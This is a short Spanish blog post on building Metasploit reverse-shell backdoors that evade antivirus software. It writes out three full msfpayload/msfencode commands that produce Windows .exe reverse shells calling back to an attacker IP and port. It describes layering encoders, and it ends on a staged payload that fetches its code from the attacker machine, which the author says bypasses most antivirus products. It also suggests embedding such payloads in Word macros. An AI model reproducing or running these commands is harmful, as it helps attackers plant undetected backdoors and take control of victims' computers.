Compilando payloads para saltarse antivirus
Mar 29, 2010Después de un día de aburrimiento, he estado pensando en el problema que tiene Metasploit a la hora de compilar payloads .exe para windows, todas son detectadas por los antivirus y nunca se dejan ejecutarse, incluso al incluírlas en el el .bas de Visual Basic para incrustar por ejemplo en un Word.
Hay muchos payloads que con antivirus son muy dificiles de inyectar, sobretodo cualquier Payload que inyecte una dll en memoria. Entonces tenía que intentar hacer un bypass al antivirus por lo menos de un Payload Shell para poder cargarme los servicios del antivirus y así posteriormente proceder a inyectar dll's :-D y lo he conseguido.
Procedimiento
Lo primero que se me ocurrió para intentar saltarme un AVG Premium ( que es el antivirus que tenía a mano y además considero un antivirus bastante inquieto) fue usar el "shikata ga nai encoder" (que traduciendo del japonés viene siendo algo así como "no puede ser detectado" o "nada se puede hacer".
./msfpayload windows/shell_reverse_tcp LHOST=192.168.0.33 LPORT=6969 R | ./msfencode -e x86/shikata_ga_nai -t exe > /tmp/backdoor.exe
Como resultado non he conseguido nada, el antivirus sigue detectando el backdoor. Asique el segundo método, la lluvia de enconders, es decir, usar encodes binarios distintos y encodearlos tropecientas veces; concretamente una vez con el básico de generacion de payload, 10 veces con el shikata_ga_nai, y otras 10 con el Call+4 Dword XOR encoder, con esto el antivirus lo va a tener muy dificil.
./msfpayload windows/shell_reverse_tcp LHOST=192.168.0.33 LPORT=6969 R | ./msfencode -e x86/shikata_ga_nai -t raw -c 10 | ./msfencode -e x86/call4_dword_xor -t raw -c 10 | ./msfencode -e x86/countdown -t exe > /tmp/6.exe
Muy bien, pues tengo que admitir que es bueno, porque lo ha detectado!!!
Luego de dos fracasos con encodes es obvio que necesito cambiar de método, asique me puse a leer un poco y me di cuenta de Windows/shell_reverse_tcp no es igual a Windows/shell/reverse_tcp, este último contiene solo el código necesario para establecer una conexión TCP, entonces el Stage carga el resto de código que requiere el exploit desde la máquina atacante.
./msfpayload windows/shell/reverse_tcp LHOST=192.168.0.33 LPORT=6969 E > /tmp/backdoor.exe
Pues finalmente lo he conseguido, con este payload se puede hacer un bypass de la mayoría de los antivirus. No lo he probado en todos, cualquier prueba comentadlo.
Espero que haya resultado de ayuda! hasta la próxima.